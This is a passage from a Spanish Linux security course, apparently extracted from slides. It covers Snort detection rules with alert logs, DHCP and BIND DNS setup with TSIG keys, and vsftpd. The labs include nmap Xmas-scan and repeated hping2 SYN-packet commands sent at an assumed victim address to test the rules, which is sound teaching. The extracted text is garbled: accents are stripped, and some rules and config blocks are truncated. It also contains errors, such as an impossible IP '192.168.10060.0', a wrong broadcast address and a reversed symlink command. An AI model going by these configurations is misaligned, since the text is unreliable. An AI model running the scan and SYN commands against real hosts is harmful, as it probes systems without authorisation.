Defina una regla que registre paquetes correspondientes a peticiones DNS y que vengan
exclusivamente del exterior de la red.
180
8.3.3
Defina una regla que intente clasificar cualquier intento de entrada al sistema como
intento de usuario (pista: se debe utilizar el sistema de clasificacin que viene definido con Snort;
para probarlo, use include /etc/snort/classification.config)
Include /etc/snort/classification.config
alert tcp any any -> any any (msg:Intento de entrada;classtype:default-login-attempt;sid:5;)
Se he dado de alta el servicio de ssh con el comando /etc/init.d/ssh start
Y al hacer un ssh desde el cliente se obtiene el siguiente informe:
[**] [1:0:0] Intento de entrada [**]
[Classification: Attempt to login by a default username and password] [Priority: 2]
06/09-01:00:45.781516 192.168.100.12:3671 -> 192.168.100.11:22
TCP TTL:128 TOS:0x0 ID:10879 IpLen:20 DgmLen:48 DF
******S* Seq: 0x3F6B69D Ack: 0x0 Win: 0xFAF0 TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK
[**] [1:0:0] Intento de entrada [**]
[Classification: Attempt to login by a default username and password] [Priority: 2]
06/09-01:00:45.781549 192.168.100.11:22 -> 192.168.100.12:3671
TCP TTL:32 TOS:0x0 ID:0 IpLen:20 DgmLen:48 DF
***A**S* Seq: 0x94393378 Ack: 0x3F6B69E Win: 0x16D0 TcpLen: 28
181
8.3.4
Defina una regla que alerte de la bsqueda por Internet de la palabra sex por parte de
los usuarios de la red interna.
alert tcp $HOME_NET any -> any any (content:sex;nocase;msg:Busqueda de sexo tcp;sid:6;)
alert udp $HOME_NET any -> any any (content:sex;nocase;msg: Busqueda de sexo udp;sid:7;)
Al entrar a http://www.google.com a buscar la palabra SEX se encuentra lo siguiente:
[**] [1:0:0] Busqueda de sexo tcp [**]
[Priority: 0]
06/11-17:35:22.866083 192.168.100.12:3107 -> 64.233.179.104:80
TCP TTL:128 TOS:0x0 ID:1509 IpLen:20 DgmLen:397 DF
***AP*** Seq: 0xF83B4A6F Ack: 0x9811DD87 Win: 0x4470 TcpLen: 20
[**] [1:0:0] Busqueda de sexo tcp [**]
[Priority: 0]
06/11-17:35:24.659759 192.168.100.12:3108 -> 64.233.179.104:80
TCP TTL:128 TOS:0x0 ID:1516 IpLen:20 DgmLen:415 DF
***AP*** Seq: 0xF83CB3FA Ack: 0xC6CE4C61 Win: 0x4470 TcpLen: 20
[**] [1:0:0] Busqueda de sexo tcp [**]
[Priority: 0]
06/11-17:35:24.686369 192.168.100.12:3107 -> 64.233.179.104:80
TCP TTL:128 TOS:0x0 ID:1524 IpLen:20 DgmLen:420 DF
***AP*** Seq: 0xF83B4BD4 Ack: 0x9811F0DE Win: 0x3F43 TcpLen: 20
[**] [1:0:0] Busqueda de sexo tcp [**]
[Priority: 0]
06/11-17:35:24.689616 192.168.100.12:3108 -> 64.233.179.104:80
TCP TTL:128 TOS:0x0 ID:1526 IpLen:20 DgmLen:418 DF
***AP*** Seq: 0xF83CB571 Ack: 0xC6CE5F9B Win: 0x4252 TcpLen: 20
[**] [1:0:0] Busqueda de sexo tcp [**]
[Priority: 0]
06/11-17:35:24.716192 192.168.100.12:3107 -> 64.233.179.104:80
TCP TTL:128 TOS:0x0 ID:1528 IpLen:20 DgmLen:417 DF
***AP*** Seq: 0xF83B4D50 Ack: 0x9811F32C Win: 0x4470 TcpLen: 20
182
8.3.5
Defina una regla que registre una posible exploracin de puertos Xmas Tree de Nmap.
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Escaneo Xmas Tree nmap";flags:FPU;ack:0;
reference:arachnids,28;classtype:attempted-recon; sid:628; rev:1;)
Y desde un PC linux 192.168.100.12 se lanza el comando:
# nmap sX P0 192.168.100.11
Obteniendo el siguiente resultado:
[**] [1:628:1] Escaneo Xmas Tree nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:11:13.715613 192.168.100.12:46874 -> 192.168.100.11:603
TCP TTL:42 TOS:0x0 ID:26374 IpLen:20 DgmLen:40
**U*P**F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20 UrgPtr: 0x0
[Xref => arachnids 28]
[**] [1:628:1] Escaneo Xmas Tree nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:11:13.715644 192.168.100.12:46874 -> 192.168.100.11:1403
TCP TTL:42 TOS:0x0 ID:7374 IpLen:20 DgmLen:40
**U*P**F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20 UrgPtr: 0x0
[Xref => arachnids 28]
[**] [1:628:1] Escaneo Xmas Tree nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:11:13.715657 192.168.100.12:46874 -> 192.168.100.11:1446
TCP TTL:42 TOS:0x0 ID:32444 IpLen:20 DgmLen:40
**U*P**F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20 UrgPtr: 0x0
[Xref => arachnids 28]
[**] [1:628:1] Escaneo Xmas Tree nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:11:14.025550 192.168.100.12:46875 -> 192.168.100.11:328
TCP TTL:42 TOS:0x0 ID:16769 IpLen:20 DgmLen:40
**U*P**F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20 UrgPtr: 0x0
[Xref => arachnids 28]
[**] [1:628:1] Escaneo Xmas Tree nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:11:14.025575 192.168.100.12:46875 -> 192.168.100.11:466
TCP TTL:42 TOS:0x0 ID:29494 IpLen:20 DgmLen:40
**U*P**F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20 UrgPtr: 0x0
[Xref => arachnids 28]
Se nota que los flags TCP activados son Fin, Urgent y Push.
183
8.3.6
Defina una regla que registre una posible exploracin de puertos FIN de Nmap.
FIN
nmap";flags:F;ack:0;
8.3.7
Defina una regla que registre una posible exploracin SYN de Nmap que envie mas de 2
paquetes por segundo.
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Ataque SYN a mas de 2 paquetes por
segundo";flags:S;classtype:web-application-activity;threshold: type threshold, track by_src, count 3,
seconds 1;sid:8;)
Algunos comandos de ataque utilizando hping2 para probarlo empricamente pero suponiendo que el IP
30.1.1.1 es la IP externa que representa la vctima:
# hping2 30.1.1.1 -S -V -p 80
# hping2 30.1.1.1 -S -V -p 80
# hping2 30.1.1.1 -S -V -p 80
# hping2 30.1.1.1 -S -V -p 80
184
# hping2 30.1.1.1 -S -V -p 80
# hping2 30.1.1.1 -S -V -p 80
# hping2 30.1.1.1 -S -V -p 80
Solo se obtiene respuesta para el count = 3 y los ataques marcados con (*):
9.0
Evaluacin
9.1
9.2
9.3
9.4
Qu es un recolector de informacion?
10.0
Bibliografa Relacionada
185
Captulo 6
Asegurando la infraestructura de red
DHCP
1.0
DHCP
Es el Protocolo de configuracin dinmica de maquinas en red, se basa en el conocido modelo ClienteServidor. Utiliza un protocolo de comunicaciones muy sencillo (basado en UDP sobre IP). Los clientes de
una red que utilicen este protocolo utilizan direcciones IP que les "alquila" un servidor (no tiene porqu ser
local). Cada vez que un cliente se inicia, pide una direccin IP o una renovacin de la que tiene alquilada
actualmente. El cliente recibe, junto con la direccin, algunos parmetros adicionales, domain, servidor
DNS, etc... Lo que DHCP consigue es que la asignacin y liberacin de las direcciones IP en una red sea
dinmicas y automticas; Se evitan las duplicidades y se optimiza el consumo de direcciones. La
intervencin del administrador de redes, an en grandes configuraciones es mnima.
En los aos 80 era habitual utilizar un protocolo muy sencillo llamado BOOTP que permita que algunos
sistemas (normalmente mquinas Unix corriendo /etc/bootpd) asignaran direcciones IP a sistemas tales
como impresoras o servidores de terminales. El servidor utilizaba un sencillo fichero de texto para buscar la
direccin MAC del "cliente" y le asignaba la direccin IP. Actualmente este sistema se usa, por ejemplo,
para algunos elementos de electrnica de red como switches o hubs y en ciertos modelos de impresoras con
interface de red local.
El protocolo BOOTP utilizaba una estructura de tramas muy sencilla y el trfico generado era mnimo.
Desgraciadamente, no es suficiente para la mayora de los casos y en redes de tamao medio, su eficacia es
muy baja.
A principios de la dcada de los 90, la IETF (Internet Engineering Task Force) desarroll el protocolo DHCP
(Dynamic Host Configuration Protocol). Su objetivo principal era superar las posibilidades de BOOTP,
amplindolo y permitiendo que los administradores de redes se olvidaran, casi por completo, de la
asignacin de direcciones IP a las decenas o centenares de PCs y otras mquinas de su organizacin.
Linux puede ser configurado como cliente o servidor.
2.0
Arquitectura
186
Arquitectura
Slid e 2
El protocolo DHCP puede atender a varias subredes para el caso de grandes redes segmentadas. Permite
manejar rangos de direcciones IP de forma dinmica y automatizada. Puede asignar la configuracin de red
dado el MAC del equipo. En la mayora de los entornos ofimticos, su uso puede evitar muchos problemas y
facilitar la vida del administrador de la red. Permite configurar parmetros del servidor para controlar el
comportamiento del servidor DHCP. Permite configurar Parmetros Globales.
Arquitectura
Slide 2
DHCP es un protocolo TCP/IP que proporciona una asignacin automtica de las direcciones IP. Un
administrador debe proporcionar por lo menos tres datos para cada computador: la direccin IP, la mscara
187
de subred y la direccin IP de difusin de mensajes Broadcast address. Cada PC necesita una direccin IP
nica para usar TCP/ IP. Las direcciones asignadas deben estar en la subred correcta. Si usted se conecta a
una red grande, se preguntar cmo determinar a qu subred se conecta. Sin embargo, el DHCP sabe desde
qu subred proviene la solicitud de la direccin IP, por lo que no tiene problemas al asignar una direccin
apropiada.
Qu parmetros entrega
Slide 5
3.0
Direccin IP para identificar a un cliente en particular dentro de una subred, la mascara de red o netmask.
La direccin de difusin de mensajes o broadcast address.
El nombre del dominio al que pertenece o domain name.
El servidor de nombres de dominios para resolver nombres en su equivalente IP o DNS server.
El enrutador para entrar a otras redes o router default, etc.
188
Para qu sirve
Evitar la configuracin
manual
Ahorro en tiempo de admon.
Cambios globales solo se
efectuaran en el servidor
No IP duplicados
Usuarios mviles no
configuran su red
Slide 5
4.0
El administrador de la red puede configurar manualmente cada sistema, o puede proporcionar los valores
correctos y pedirle a los usuarios que configuren sus sistemas. Sin embargo, este ltimo mtodo es
francamente arriesgado. El procedimiento ms fcil y ms seguro es configurar uno o ms servidores DHCP
para que asignen automticamente direcciones IP y dems informacin necesaria a cada computador de la
red. Este proceso implica la configuracin del servidor, indicndole el rango de las direcciones a utilizar,
estableciendo algunos parmetros adicionales y revisando peridicamente el servidor
El uso de un servidor DHCP proporciona varias ventajas. Una gran ventaja es el ahorro de tiempo, ya que el
administrador no necesita desplazarse a cada sistema para configurarlo manualmente. Si un computador se
configura tambin como cliente DHCP, puede conectarlo con la red y permitir que el propio DHCP le asigne
una direccin IP inmediatamente. DHCP est siempre informado sobre las direcciones asignadas a los
diferentes PC's. Si utiliza DHCP, no es necesario preocuparse por los eventuales errores al introducir las
direcciones IP o por asignaciones duplicadas de direcciones IP en varias mquinas.
La asignacin inicial de direcciones IP no es la nica rea en la cual los administradores ahorran tiempo.
DHCP tambin simplifica las tareas de mantenimiento. Por ejemplo, puede fcilmente trasladar un
computador de una subred a otra.
Pero el uso del DHCP tambin beneficia a sus clientes.
Un cliente que conecta a su red a travs de un computador porttil no puede utilizar una direccin IP fija.
Sin embargo, los clientes que usan DHCP reciben una nueva y vlida direccin IP cada vez que conectan a
una subred distinta.
5.0
Secuencia de conexion
189
Secuencia de conexin
Slide 5
El cliente enva una solicitud de tipo broadcast para ver si encuentra un servidor DHCP.
El servidor DHCP recibe la solicitud y selecciona los parmetros adecuados.
El servidor DHCP solicita una direccin IP de la reserva de IP por asignar.
190
Secuencia de conexin
Slide 5
Se responde con una direccin IP que no se encuentre en uso desde un pool de direcciones predefinido por el
administrador de redes.
El DHCP responde al cliente con la lista de parmetros predefinidos incluyendo la direccin IP
6.0
Archivos de configuracion
Existe un archivo de configuracin que es: /etc/sysconfig/dhcpd para configurar la tarjeta de red por donde
el servicio se prestar, la variable se llama DHCPD_INTERFACE=eth0.
Por defecto el servicio no se inicia automticamente, se debe crear un enlace simblico as:
# ln s /etc/init.d/dhcpd /etc/rc.d/rc5.d/S99dhcpd
191
Procedimiento de configuracin
Entre al sistema como el usuario root en modo
grfico y seleccione el icono de W ebmin.
Seleccione la carpeta de server.
Seleccione el icono de DHCP server y realice la
Configuracin del DHCP como:
Add a new subnet
Edit Client options
List active leases
Start server
Slide 7
7.0
Si el servicio no fue preinstalado cuando se hizo la instalacin inicial entonces deber montar el CDROM
manualmente:
# mount /dev/cdrom /media/cdrom
Luego instale segn el formato rpm con el comando:
192
# rpm i dhcp-x.i386.rpm
Donde x es la versin del dhcp actualizado.
Es recomendable instalar cualquier otro archivo que inicie con el nombre dhcp. Ahora reinicie el sistema.
Para desinstalar el software utilice el siguiente comando:
# rpm e nodeps dhcp
Para actualizar hacia una nueva versin digite:
# rpm hUv dhcp
8.0
Comandos DHCP
Utilice el comando more para visualizar el archivo /var/run/dhcpd.pid donde encontrara el nmero del pid del
proceso que ejecuta el demonio de DHCP.
Comandos
Para apagarlo vea el archivo
/var/run/dhcpd.pid:
# kill 15 dhcpd.pid
Para iniciarlo:
# dhcpd cf /etc/dhcpd.conf
Slide 7
Para apagar el servicio de DHCP ejecute el comando kill con la opcin -15 otra opcin sera /etc/init.d/dhcpd
stop
# dhcpd cf /etc/dhcpd.conf
Las opciones pueden ser:
-p Para el puerto, puede escuchar por el puerto 67
-f Ejecutar en foreground
-d Log para el standard error
-cf Para configuraciones alternas
Otra forma de inicializar el servicio sera:
/etc/init.d/dhcpd start
9.0
193
Entonces en network address digite 192.168.10060.0 En netmask escriba la mascara de red para este caso
se recomienda 255.255.255.0 En Address ranges escriba el rango de IP para asignar: 192.168.10060.11
hasta 192.168.10060.254.
En Edit client options digite los siguientes datos:
Slide 8
Para verificar que el cliente Windows haya tomado los valores asignados por el
comando en Windows "winipcfg, en XP o 2000 use ipconfig /all
194
10.0
Laboratorio:
none;
600;
# 10 minutes
# 2 hours
Este cdigo puede ser introducido a travs del editor vi o mc, para mas informacin sobre vi o mc
digite man vi.
Paso 3: Cree la subred y su respectivo rango de direcciones a asignar adicionando al final del
archivo /etc/dhcpd.conf:
subnet 192.168.100.0 netmask 255.255.255.0 {
option routers 192.168.100.254;
range 192.168.100.10 192.168.100.250;
option domain-name-servers 192.168.100.254;
option domain-name "lacositarica.com";
option broadcast-address 255.255.255.0;
}
No olvide guardar los cambios.
195
Para ver los errores se debe verificar el archivo de logs con el comando:
# tail /var/log/messages
Bibliografa
Manuales UnitedLinux
Unixware System Administration,
Gene Henriksen and Melissa
Henriksen, Editorial MacMillan,
1999.
Slide 12
196
Captulo 7
Asegurando la infraestructura de red
DNS
1.0
El sistema de Nombres de Dominio (DNS por sus siglas en ingls, Domain Name System), naci en la
dcada de los 80's. Creado por Pal Mockapetris en colaboracin con Jon Postel de la Universidad del Sur
de California y posteriormente, Pal Vixie. Juntos desarrollaron lo que hasta ahora conocemos como el DNS
(BIND, Barkeley Internet Name Domain), un sistema cliente/servidor, distribuido y jerrquico.
Se crearon entonces los nombres de dominio genricos de primer nivel (gTLD, generic Top-level
Domain), .com .net y .org, es decir, se haban creado estas tres clasificaciones con el fin de ubicar el
tipo de entidades que buscaban tener presencia en Internet. Adems de estos gTLD se empez por delegar
los sufijos nacionales (nTLD, national Top-level Domain) a los pases que se fueran conectando a la red.
Es un sistema que ayuda a los usuarios de Internet a utilizar la red de una forma ms sencilla.
Como concepto general se puede decir que DNS es una base de datos distribuida.
La estructura de la base de datos de DNS es similar a la estructura de directorios del sistema operativo
Linux/UNIX. Dicha estructura es como un rbol invertido con la raz (representada por un punto .)
197
Estas direcciones IP son nicas, lo cual quiere decir que cada computador tiene su propia direccin IP y que
esta es diferente del resto de direcciones IP existentes.
El DNS es necesario para nuestras aplicaciones de manera que puedan convertir los nombres que nosotros
utilizamos en nombres comprensibles para las mquinas (Direcciones IP) y proveer al usuario final de una
forma cmoda de comunicarse.
Sin embargo, el uso de estas direcciones IP es complicado para nosotros, ya que no es fcil recordarlas, por
lo que preferimos utilizar nombres con algn significado, a los que estamos acostumbrados en la vida diaria.
198
Primer campo:
www.lacositarica.com.co
Los
El nombre de cada computadora consiste en una serie de caracteres alfanumricos separados por periodos
(.). Por ejemplo, uno de estos nombres podra ser: www.unincca.edu.co
Los nombres de nivel superior permiten dos jerarquas de nomenclatura completamente diferentes, la
geogrfica y la organizativa.
En casi todos los casos, los dominios geogrficos estn basados en los cdigos del pas de dos letras
especificadas en ISO 3155 esta nomenclatura corresponde a un documento de la Organizacin de Estndares
Internacionales.
La autoridad de Internet ha optado por hacer una serie de particiones en su nivel superior dando lugar a los
siguientes dominios, en la siguiente figura se puede apreciar la estructura de la jerarqua de nivel superior:
199
Segundo campo:
www.lacositarica.com.co
Es
el tipo de organizacin:
.arpa Identificacin ARPAnetInternet
.com Empresa comercial
.edu Institucin educativa
.gov Organizacin gubernamental
.mil Militar
.org Cualquier otra cosa <> anteriores
La informacin compilada, mantenida y distribuida por IANA se divide en 3 categoras:
1.Servicio De Registro: Estos servicios se relacionan con el registro del nombre por dominio (Direcciones,
con el fin de que no sean utilizados por otros usuarios. Los servicios de registro de IANA son
proporcionados por Network Solutions, Inc.
2.Directorio De Servicios De Bases De Datos: Estos servicios incluyen informacin sobre los diferentes
recurso y bases de datos con las que cuantas la red, as como un directorio de paginas amarillas y
paginas blancas con las direcciones de INTERNET. AT&T proporciona los servicios de bases de datos y el
directorio de IANA.
3.El mecanismo que implementa la jerarqua de nombres de una mquina para TCP/IP Internet se denomina
DNS (Domain Name System).
200
Tercer campo:
www.lacositarica.com.co
El propsito de un dominio organizativo es proporcionar otro nivel de distincin en una direccin de dominio
completa, por lo tanto, se podran tener dos direcciones que fueran exactamente iguales excepto por l
domino organizativo y los mensajes se mandaran a lugares completamente diferentes.
201
Cuarto campo:
www.lacositarica.com.co
Es
El nombre de una computadora se denomina tambin Nombre de Dominio. Estos nombres de dominios
son jerrquicos, y la parte ms significativa del mismo se sita a la derecha. El segmento situado en el
extremo izquierdo (en este caso WWW) es el nombre de una computadora individual. El resto de segmentos
del nombre identifican el grupo de computadoras al que pertenece el nombre individual. En el ejemplo, el
nombre individual WWW pertenece al grupo de nombres lacositarica, que a su vez pertenece al grupo
com, que a su vez pertenece al grupo co.
Los archivos de configuracin se encuentran en el directorio /etc. El archivo /etc/resolv.conf le indica a linux
que al actuar como cliente ese IP debe resolver las consultas. Si el servidor es el mismo cliente el ip es el
mismo de la maquina servidora.
202
/etc/resolv.conf
Este
/etc/nsswitch.conf
local
203
/etc/named.conf (1 de 4)
Cuando
zone
type
file
};
zone
{
type
file
};
lacositarica.com" in {
master;
"db.lacositarica.com";
"47.72.216.in-addr.arpa" in
master;
"db.47.72.216";
204
Registros de la BD (1 de 2)
Estos registros son utilizados para la configuracin de las diferentes bases de datos.
Cuando encontramos al principio del registro un carcter @ o en blanco hacen referencia al mismo
dominio.
En el registro MX encontramos un valor numrico, que significa la prioridad del correo.
Despus de haber realizado cualquier cambio, en los archivos de configuracin debe apagar e iniciar
nuevamente el servicio DNS.
Tambin puede hacer un reinicio con la opcin restart del comando /etc/init.d/named.
# nslookup
NOMBRE SERVIDOR
Comandos bsicos
Reiniciar
el servicio:
/etc/init.d/named reload
Apagar el servicio:
/etc/init.d/named stop
Iniciar el servicio:
/etc/init.d/named start
205
6.0
Si el servicio no fue preinstalado cuando se hizo la instalacin inicial entonces deber montar el
CDROM manualmente: Es recomendable instalar cualquier otro archivo que inicie con el nombre
bind.
Laboratorio:
Paso 1: Haga login con el usuario root o el administrador, seleccione la carpeta Server y dentro de esta
haga click sobre el icono Bind DNS Server, seleccione la opcin que utilizar en su dns:
206
Setup name server for internal non-internet use only: Esta opcin configura el DNS local para la
intranet.
Setup as an Internet name server, and download root server information: Esta opcin configura el
servidor DNS para varios dominios y adems baja en forma automtica desde internet el archivo
principal de los servidores maestros de DNS.
Setup as an Internet name server, but use Webmins older root server information: Configura el servicio
DNS pero utilize los archivos predefinidos en webmin. No baja el archivo maestro de servidores de DNS
mundial.
Seleccione Create new master zone, para crear resolucin de nombre a IP digite:
Zone Type: Forward es decir resuelve nombre a IP.
Domain name/network: Se debe digitar el nombre del dominio, por ejemplo mvaonline.com, luego en el
campo Master server: el nombre de su servidor dns, por ejemplo: linux.mvaonline.com
Email address: el login name del usuario administrador sin formato de e-mail, ejemplo postmaster
Al presionar el botn create se creara el archivo /etc/mvaonline.com.hosts
207
208
209
Observe que ahora aparecen varios iconos representando los registros como A, NS, CN, MX, HI, TX, WK, RP
y LO.
Para crear el nombre del servidor como linux entonces haga click sobre A, en el campo name digite linux en
address digite el IP de su servidor por ejemplo 200.93.178.2, en Update reverse haga click en yes.
Para terminar presione el botn Create.
210
Para crear un alias como www.mvaonline.com presione el botn CN, en el campo name digite WWW, en el
campo Real name digite el nombre de su maquina original como linux.
Presione crear y ya estar creado el alias.
211
Este caso es especial para cuando queremos que el servidor original linux.mvaonline.com sea visto como
www.mvaonline.com.co
Se acostumbra a crear tantos alias como servicios se preste por ejemplo estos son los mas usados:
www
pop
imap
smtp
ftp
Para
Para
Para
Para
Para
el servidor web
la oficina de correos
oficinas de correos centralizada
el servidor de correos salientes
el servidor ftp
212
213
En hostname digite el nombre de su cliente por ejemplo ns1.mvaonline.com en DNS Server digite los IP de
los servidores dns primarios por ejemplo 127.0.0.1, 63.171.232.38 y en resolution order haga click en DNS y
Hosts.
En Search domain escriba el dominio al que usted pertenece por ejemplo mvaonline.com.
214
El paso anterior debi crear el archivo: /etc/resolv.conf con los siguientes datos:
domain
nameserver
nameserver
search
mvaonline.com
127.0.0.1
63.171.232.38
mvaonline.com
Adems se debi crear el archivo /etc/nsswitch.conf con las variables hosts: dns files.
Haga click en el botn Apply Changes para activar los servicios de dns
Reinicie el servidor dns con el comando:
# /etc/init.d/named reload
7.0
8.0
DOMINIOS VIRTUALES
Para crear dominios virtuales en el mismo servidor, repita la creacin de dominios con los mismos
IP o los IP de los dominios respectivos.
h2n es un script elaborado en el lenguaje Perl que permite convertir el archivo /etc/hosts en sus zonas
correspondientes sin pasar por webmin o por alguna interface, los pasos para usarlo son:
1. Baje la ltima versin del sitio ftp://ftp.hpl.hp.com/pub/h2n/h2n.tar.gz.
2.Instale el mdulo perl Net::DNS
# perl -MCPAN -e 'install Net::DNS'
3. Ejecute h2n para verificar la zona # h2n -V zone.
215
9.0
Laboratorio:
Supuestos:
Si se desea ser servidor DNS y servidor de correos supongamos que se tiene un dominio con los siguientes
datos:
Dominio
: clienteservidor.net
IP valido
: 200.24.94.164
Nombre del servidor
: linux.clienteservidor.net
IP de la RED
: 200.24.94
Paso 1: Entre al sistema como el usuario root
Paso 2: Ahora edite el archivo /etc/hosts y adicione los IP y nombres de sus servidores internet, por
ejemplo:
/etc/hosts
127.0.0.1
200.24.94.164
localhost
linux.clienteservidor.net
linux
www
ftp
pop
smtp
Notemos que a la derecha del nombre en formato FQN (Nombre en formato largo) aparecen los alias.
En el archivo /etc/nsswitch esta el orden de bsqueda, se recomienda
hosts: files dns nis
Paso 6: Note que el comando h2n no genera el archivo db.cache que sirve para bsquedas en internet,
bjelo manualmente de IANA.net o haga una copia de /usr/lib/libexec...
IN MX 5 linux.clienteservidor.net.
Cambie la palabra linux o nombre del servidor por el nombre del dominio, para el ejemplo en cuestin sera:
clienteservidor.net.
IN MX 5 linux.clienteservidor.net.
216
Ahora edite el archivo db.127.0.0 y adicione a la palabra localhost el dominio registrado, revise que al final
termine en un punto.
Es obligatorio incluir en cada archivo del dns en la primera lnea:
$ttl 38400
Paso 7: Arranque en tiempo de boot
Haga un link simblico del archivo /etc/init.d/named como /etc/rc.d/rc5.d/S13named:
# ln s /etc/rc.d/rc5.d/S13named /etc/init.d/named
Otra opcin sera por webmin, sistemas, start and shutdown y hacer click sobre named.
Paso 8: Edite el archivo /etc/resolv.conf y escriba el servidor DNS que le resolver sus consultas, para este
caso usted es el servidor en mencin:
domain clienteservidor.net
search clienteservidor.net
nameserver
127.0.0.1
Paso 9: Ahora suba el servicio con el comando:
# /etc/init.d/named stop y luego /etc/init.d/named start
Para cuestionar al dns por el servidor de correos digite
# dig MX clienteservidor.net
Note que el comando nslookup en BIND 9.x no soporta la opcin q en lnea de comandos por ello se debe
usar dig.
217
10.0
Laboratorio:
Supuestos:
Si se desea ser servidor DNS y servidor de correos supongamos que se tiene un dominio con los siguientes
datos:
Dominio
: mvaonline.com.co
IP valido
: 10.0.0.6
Nombre del servidor
: firewall
IP de la RED
: 10
Es importante recordar que en SUSE los archivos de configuracin del dns estn en el directorio
/var/lib/named, por ejemplo el archivo /var/lib/named/127.0.0.zone contiene el IP en reversa para la zona
localhost. La lnea:
1
IN PTR localhost.
IN PTR localhost.mvaonline.com.co.
218
Paso 11: En la opcin aadir nueva zona, Nombre de la zona, digite 10.in-addr.arpa y presione el botn
aadir.
Paso 12. Presione el botn editar zona, Registro NS, digite el nombre de la maquina que para este caso se
llama: firewall.mvaonline.com.co. Presione aadir.
Paso 13. Presione Registros, en el campo Clave de registro digite: 6.0.0.10.in-addr.arpa, seleccione Tipo
PTR, en el campo valor digite el nombre del servidor: firewall.mvaonline.com.co, presione aadir, aceptar y
finalizar.
Paso 14. Presione en la seccin arrancando: Encendido y luego en la seccin Encender y Apagar: Iniciar
servidor DNS ahora. Presione finalizar para termina.
Paso 15: Pruebe el funcionamiento del DNS.
Paso 16. En la utilidad YAST, opcin Servidor DNS Inicio, presione el botn: Soporte LDAP Activo. Esto
sincronizar los archivos planos de /var/lib/named contra LDAP.
219
11.0
Para que el DNS sea actualizado por el proceso de DHCP se necesita una llave privada para cifrar el canal
entre el servicio DHCP y el servicio DNS.
Se recomienda que el archivo con la clave secreta resida en el directorio /etc/named.d/named.keys
Para generar la llave secreta digite:
# mkdir p /etc/named.d
# cd /etc/named.d
# dnssec-keygen
a
HMAC-MD5
512
n USER DHCP_UPDATER
Este comando genera un par de archivos con la llave privada, el archivo con extensin .private contiene la
llave privada necesaria para la autorizacin.
El contenido de la llave se encuentra frente a la palabra clave Key:
Observe el contenido del archivo:
# cat
*.private
Private-key-format: v1.2
Algorithm: 157 (HMAC_MD5)
Key: W4agAGujz MZDdm2u1q +pNSj7EBP vrjpY+rJs Fw97gXD sR sd L 0 Q g P f B 0 L b o w R
+8BwEY1YMOOT7xaNHZNv7A==
JoBd
Ahora se debe crear un archivo que contenga la llave privada para ser incluida en el archivo de configuracin
del DNS y del DHCP:
Edite el archivo /etc/named.d/named.keys y adicione las siguientes lneas:
key DHCP_UPDATER {
algorithm hmac-md5;
secret W4agAGujz MZDdm2u1q +p. y el resto de la llave;
};
Observe que en el parmetro secret se debe incluir la llave privada generada por el comando dnsseckeygen.
220
type master;
file /var/lib/named/master-zones/1.192.168.hosts
allow-update {key DHCP_UPDATER;};
}
Nota: Se deben cambiar los permisos del directorio /var/lib/named que es el CHROOT del servicio DNS, as:
# chown R named:named /var/lib/named
Ahora se le debe informar al servicio DHCP que haga actualizacin automtica del DNS cuando asigne IPs a
los clientes, para ello, edite el archivo /etc/dhcpd.conf, con la siguiente informacin:
authoritative;
ddns-update-style interim;
include /etc/named.d/named.keys;
zone mvaonline.com. {
primary 127.0.0.1;
key DHCP_UPDATER;
}
Ntese que el domino ahora no incluye las comillas dobles alrededor y adems termina con el smbolo punto
., la instruccin key DHCP_UPDATER tambin debe ir dentro del dominio en reversa, as:
zone 1.168.192.IN-ADDR.ARPA. {
primary 127.0.0.1;
key DHCP_UPDATER;
}
Para ver los errores se debe verificar el archivo de logs con el comando:
# tail /var/log/messages
NOTA: Si al reiniciar los servicios se presentan errores, de tipo, que no encuentra el archvo named.keys o
que no se puede actualizar el DNS con entradas de Hosts se deben modfificar los siguientes archivos:
/etc/sysconfig/dhcpd
La linea que se encuentra asi:
DHCPD_CONF_INCLUDE_FILES=""
Se debe modificar por lo siguiente:
DHCPD_CONF_INCLUDE_FILES="/etc/named.d/named.keys"
Para ver los errores se debe verificar el archivo de logs con el comando :
221
# tail /var/log/messages
12.0
Options {
Version none;
};
Cache poisoned
CVE : CVE-1999-0024
Para eliminar la posibilidad de que el servidor DNS obtenga respuesta de autoridades falsas se debe
desactivar la recursividad en la bsqueda para las redes diferentes a las locales:
Options {
Version none;
Allow-recursion { 127.0.0.1; ip_lan; };
};
no;
"/var/named";
none;
{ "internals"; };
{ "internals"; };
};
logging {
channel namedlog {
file "/var/log/named.log" versions 5 size 2m;
print-time yes;
print-category yes;
};
category xfer-out
{ namedlog; };
category panic
{ namedlog; };
category security
{ namedlog; };
category insist
{ namedlog; };
222
category response-checks
category lame-servers
{ namedlog; };
{ null; };
};
Bibliografa
http://www.isc.org/products/BIND/
223
Captulo 8
Asegurando la infraestructura de red
FTP
1.0
2.0
Filosofia
1.
2.
3.
4.
5.
Slide 5
3.0
Archivos de configuracion
El archivo /etc/ftpusers: Contiene los usuarios que no estn autorizados a copiar archivos, por ejemplo
por defecto root no puede hacer ftp al servidor linux
El archivo de configuracin mas importante de vsftp se denomina /etc/vsftpd.conf
224
4.0
El servicio de ftp se carga en forma automtica cuando Linux inicia si esta activado en el archvio
/etc/inetd.conf
No se recomienda habilitar ftp en cambio se sugiere utilizar ftp seguro es decir ssh.
En algunos Linux el servicio ftp como el telnet estn desactivados por seguridad.
Los logs se encuentran en el archivo /var/log/vsftpd.log.
El servidor web de donde se puede obtener una nueva versin es http://vsftpd.beasts.org
Comandos FTP
ftp maquina_remota, se conecta al servidor remoto
Get archivo, trae un archivo
Put archivo, pone un archivo en el servidor
Dir, muestra una lista de archivos
Close, cierra la sesion
5.0
5.1
Usuarios anonymous
Una conexin con usuario anonymous no pide autenticacin al usuario, para configurar este comportamiento
modifique el archivo de configuracin /etc/vsftpd.conf:
Parmetro
Anonymous_enable=YES
Anon_root=/srv/ftp/pub
Anon_max_rate=24576
Deny_email_enable=YES
5.2
Funcionalidad
